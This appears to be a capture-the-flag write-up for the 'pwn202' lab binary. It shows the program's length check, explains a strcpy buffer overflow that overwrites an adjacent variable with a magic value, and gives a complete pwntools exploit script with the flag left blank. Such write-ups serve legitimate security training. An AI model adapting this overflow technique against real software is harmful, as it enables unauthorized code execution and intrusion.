pwn202
pwn202
Information
- category: pwn
- points: 1000
Description
None
Write-up
When running:
1
2
3
4
5
λ ~/Desktop/CTF@NCSC/pwn/pwn2/ ./pwn202
Hey please enter the Secret password for lab 202 mr pwner:
AAAA
Length of your input is: 4
are you sure ? Not the password mr Pwner !
But if input is too long:
1
2
3
4
5
λ ~/Desktop/CTF@NCSC/pwn/pwn2/ ./pwn202
Hey please enter the Secret password for lab 202 mr pwner:
AAAAAAAAAAAAAAAAAAA
Length of your input is: 19
hey ! you must Keep the length between 4 and 8, I can see you are doing a overflow !!
So there’s length checking logic before something interesting happens.
Using Ghidra, we reverse the check()
function and discovered the following:
Vulnerability
- The program uses
strcpy()
to copy user input intolocal_17
, a 10-byte buffer. - However, it doesn’t validate the actual size, only the length of input, and only after calling
strlen()
and before callingstrcpy()
. So even if the length is valid (4 ≤ len ≤ 8), a malicious input can overwrite
local_c
which is right afterlocal_17
.- Overwrite
local_c
with0x49693121
by carefully crafting our input to overflow the buffer and land that integer in memory. - We must:
- Keep our input length between 4 and 8 to pass the check.
- Still overflow
local_17
enough to overwritelocal_c
with our target value. - Use binary tools (like GDB or pwndbg) to find the exact offset between
local_17
andlocal_c
”
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
from pwn import *
exe = ELF("./pwn202_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("")
return r
def main():
r = conn()
payload = b'A' * 11
payload += p32(0x49693121)
payload += b'B' * 245
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
Flag
Flag:
This post is licensed under CC BY 4.0 by the author.